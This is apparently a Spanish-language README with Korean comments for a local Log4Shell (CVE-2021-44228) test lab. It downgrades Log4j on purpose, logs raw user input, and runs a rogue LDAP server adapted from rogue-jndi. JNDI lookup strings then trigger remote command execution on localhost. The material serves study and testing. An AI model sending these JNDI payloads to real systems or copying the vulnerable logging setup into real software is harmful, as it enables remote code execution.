
Prueba de vulnerabilidad LDAP de Log4j2 (CVE-2021-44228)
🎈 Probado en entorno Spring Boot 2.x
pom.xml: reduce la versión de Log4j2 a una versión vulnerable
<properties>
<java.version>17</java.version>
<!-- 현재 설정된 Spring Boot 버전은 취약점이 존재하는 log4j 2.14.1 보다 높은 버전을 가지기 때문에, 일부러 버전을 낮춘다.-->
<log4j2.version>2.14.1</log4j2.version>
</properties>
LoggingController: se añadió un método de controlador que registra la entrada del usuario tal cual
@PostMapping("/form")
public String form(String ldapString, RedirectAttributes rttr) {
try {
LOGGER.info("{}", ldapString);
rttr.addFlashAttribute("exception", "예외 발생 X");
} catch (Exception e) {
rttr.addFlashAttribute("exception", "예외발생 O: " + e.getMessage());
}
return "redirect:/";
}
Ejecutar en el navegador

Cuando se envía realmente la cadena ${jndi:ldap://127.0.0.1:19090/run} al servidor, el servidor intenta conectarse a 127.0.0.1:19090.
2022-01-03 13:16:52.526 INFO 14736 --- [nio-8080-exec-7] o.m.t.c.LoggingController : ${jndi:ldap://127.0.0.1:19090/run}
2022-01-03 13:17:09,993 http-nio-8080-exec-10 WARN Error looking up JNDI resource [ldap://127.0.0.1:19090/run]. javax.naming.CommunicationException: 127.0.0.1:19090 [Root exception is java.net.ConnectException: Connection refused: connect]
...
Como en el puerto local 19090 no hay un servidor LDAP en ejecución, se genera un registro de error con la excepción Connection refused: connect.
En el código LOGGER.info("{}", ldapString); no se lanzó ninguna excepción de error JNDI.
Investigué solo las partes relacionadas con Tomcat en https://github.com/veracode-research/rogue-jndi y lo organicé como un proyecto Spring Boot simple.
La razón para investigar solo las partes relacionadas con Tomcat es...
Como el servidor de prueba objetivo estaba basado en el Tomcat integrado de Spring Boot, parecía que bastaba con investigar solo Tomcat para comprobar el funcionamiento de la vulnerabilidad, así que procedí de esa manera.
Preparación del comando
Como era demasiado simple limitarse a la calculadora, probé a combinar comandos de cmd.
ldapserver-config.properties
# 타겟 서버의 윈도우 OS 버전을 텍스트 파일에 기록한 다음 메모장으로 여는 내용
ldaptest.remote.command=cmd /c ver > test.txt && notepad test.txt
...
Al probarlo, realmente fue posible ejecutar de forma remota el ejecutable del servidor de prueba objetivo. El método de comprobación es el siguiente.
Ejecutar el servidor ldap-server y el target-server
# LDAP 서버 실행
C:\git-mklinkj\log4j2-test\ldap-server>mvnw clean spring-boot:run
# 테스트 타겟 서버 실행
C:\git-mklinkj\log4j2-test\target-server>mvnw clean spring-boot:run
Después de enviar la cadena ${jndi:ldap://127.0.0.1:19090/o=tomcat} desde el servidor de prueba objetivo, comprobar

Se creó el archivo test.txt en la raíz del proyecto target-server y se ejecutó mediante el Bloc de notas.
Para generar el payload que se envía al Tomcat objetivo se usa Nashorn, la implementación de JavaScript de Java, pero Nashorn se eliminó por completo a partir de Java 15. Por eso, aunque el servidor ldap enviaba el comando al Tomcat objetivo, el comando no se ejecutaba.
En ese caso... bastaba con añadir solo una de las dos librerías al servidor Tomcat objetivo: nashorn-core o rhino-engine.
<dependency>
<groupId>org.openjdk.nashorn</groupId>
<artifactId>nashorn-core</artifactId>
<version>${nashorn.version}</version>
</dependency>
<dependency>
<groupId>org.mozilla</groupId>
<artifactId>rhino-engine</artifactId>
<version>${rhino-engine.version}</version>
</dependency>
Para facilitar la gestión de versiones modifiqué el pom.xml para que tuviera una relación padre-hijo, y se puede ejecutar desde el directorio donde se encuentra el pom padre, de la siguiente manera.
# 전체 테스트
$ mvnw clean test
# 백그라운드로 실행하지 않으므로 별도의 콘솔창에서 각각 실행햐아한다.
$ mvnw clean spring-boot:run -pl ldap-server
$ mvnw clean spring-boot:run -pl target-server
# 하위 프로젝트 디렉토리에 직접 들어가서 실행해도 된다.
$ cd target-server
$ mvnw clean spring-boot:run
Este software se ofrece únicamente con fines educativos y/o para realizar pruebas en sistemas cuyo ataque haya sido autorizado previamente por el usuario.
(Como rogue-jndi también incluía esta frase, la añadí siguiendo el ejemplo. 😓)